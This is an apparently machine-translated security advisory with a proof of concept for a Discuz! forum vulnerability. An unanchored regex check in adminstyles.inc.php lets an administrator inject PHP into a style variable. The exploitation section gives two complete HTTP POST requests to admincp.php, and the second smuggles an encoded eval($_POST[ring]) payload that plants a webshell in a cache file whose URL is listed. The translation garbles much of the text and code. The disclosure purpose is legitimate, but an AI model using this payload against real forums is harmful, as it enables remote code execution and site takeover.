Discuz! Adminstyles. inc. php get-webshell bug

Author: ring04h
Team: http://www.80vul.com

Because Discuz! In adminstyles. inc. php, The preg_match regular expression is used to judge that the $ newcvar variable is not strictly operated, resulting in a code execution vulnerability.

I. Analysis

Code in the file adminstyles. inc. php:
If ($ newcvar & $ newcsubst ){
If ($ db-> result_first ("select count (*) FROM {$ tablepre} stylevars WHERE variable = $ newcvar AND styleid = $ id ")){
Cpmsg (styles_edit_variable_duplicate, error );
} Elseif (! Preg_match ("/[a-zA-Z_x7f-xff] [a-zA-Z0-9_x7f-xff] */", $ newcvar )){
Cpmsg (styles_edit_variable_illegal, error );
}
$ Newcvar = strtolower ($ newcvar );
$ Db-> query ("insert into {$ tablepre} stylevars (styleid, variable, substitute)
VALUES ($ id, $ newcvar, $ newcsubst )");
}

The code above shows that when there is background permission, you can insert <strong> in a custom template variable by editing the style !, 80VUL); EVAL ($ _ POST [RING]); // </strong> Replace the insert exp by ring04h !, Write webshell to execute code remotely.

Ii. Exploitation

POC:

Step 1:

POST/bbs/admincp. php? Action = styles HTTP/1.1
Accept: image/gif, image/jpeg, image/pjpeg, application/x-ms-application, application/vnd. ms-xpsdocument, application/xaml + xml, application/x-ms-xbap, application/vnd. ms-excel, application/vnd. ms-powerpoint, application/msword, application/x-shockwave-flash ,*/*
Referer: http://www.80vul.com/bbs/admincp.php? Action = styles
Accept-Language: zh-cn
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Server Load balancer;. net clr 2.0.50727;. net clr 3.5.30729;. net clr 3.0.30618)
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Host: www.80vul.com
Content-Length: 154
Connection: Keep-Alive
Cache-Control: no-cache
Cookie:

Formhash = 99238f2d & anchor = & updatecsscache = 0 & namenew % 5B1% 5D = % C4 % AC % C8 % CF % B7 % E7 % B8 % F1 & availablenew % 5B1% 5D = 1 & defaultnew = 1 & newname = exp & stylesubmit = % CC % E1 % BD % BB

Step 2:

POST/bbs/admincp. php? Action = styles & amp; operation = edit & amp; id = 6 HTTP/1.1
Accept: image/gif, image/jpeg, image/pjpeg, application/x-ms-application, application/vnd. ms-xpsdocument, application/xaml + xml, application/x-ms-xbap, application/vnd. ms-excel, application/vnd. ms-powerpoint, application/msword, application/x-shockwave-flash ,*/*
Referer: http://www.80vul.com/bbs/admincp.php? Action = styles & operation = edit & id = 6
Accept-Language: zh-cn
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Server Load balancer;. net clr 2.0.50727;. net clr 3.5.30729;. net clr 3.0.30618)
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Host: www.80vul.com
Content-Length: 1402
Connection: Keep-Alive
Cache-Control: no-cache
Cookie:

Formhash = Export & anchor = & namenew = exp & templateidnew = 1 & stylevar % 5B249% 5D = 1 & stylevar % 5B247% 5D = & stylevar % 5B248% 5D = & stylevar % 5B246% 5D = & stylevar % 5B250% 5D = & stylevarbgimg % 5B250% 5D = & stylevarbgextra % 5B250% 5D = & stylevar % 5btra % 5D = & %% 5b%% 5D = & stylevarbgextra % 5b1_% 5D = & stylevar % 5B252% 5D = & Strong % 5B252% 5D = & stylevarbgextra % 5B252% 5D = & stylevar % 5B253% 5D = & stylevar % 5B254% 5D = & stylevar % 5B255% 5D = & stylevar % 5B256% 5D = & stylevar % 5B257% 5D = & stylevar % 5B258% 5D = & stylevar % 5B259% 5D = & stylevar % 5B260% 5D = & stylevar % 5B261% 5D = & stylevar % 5B262% 5D = & stylevar % 5B263% 5D = & stylevar % 5B264% 5D = & stylevar % 5B265% 5D = & stylevar % 5B266% 5D = & stylevar % 5B267% 5D = & stylevar % 5B268% 5D = & stylevar % 5B269% 5D = & stylevar % 5B270% 5D = & stylevar % 5B271% 5D = & stylevar % 5B272% 5D = & stylevar % 5B273% 5D = & stylevar % 5B274% 5D = & stylevar % 5B275% 5D = & Strong % 5B275% 5D = & stylevarbgextra % 5B275% 5D = & stylevar % 5B276% 5D = & stylevar % 5B277% 5D = & stylevar % 5B278% 5D = & stylevar % 5B279% 5D = & stylevar % 5B280% 5D = & stylevar % 5B281% 5D = & stylevar % 5B282% 5D = & stylevar % 5B283% 5D = & Strong % 5B283% 5D = & stylevarbgextra % 5B283% 5D = & stylevar % 5B284% 5D = & strong % 5B284% 5D = & stylevarbgextra % 5B284% 5D = & stylevar % 5B285% 5D = & %% 5B285% 5D = & %% 5B285% 5D = & stylevar % 5B286% 5D = & stylevar % 5B287% 5D = & stylevar % 5B288% 5D = & stylevar % 5B289% 5D = & stylevar % 5B290% 5D = & stylevar % 5B291% 5D = & newcvar = % 21% 27% 2C % 2780vul % 27% 29% 3 Beval % 28% 24_post % 5 Bring % 5D % 29% 3B % 2F % 2F & newcsubst = exp + by + ring04h % 21 & editsubmit = % CC % e1 % BD % BB

Webshell:

Http://www.80vul.com/bbs/forumdata/cache/style_6.php

Three patches [fix]

This vulnerability has been submitted, waiting for official patches.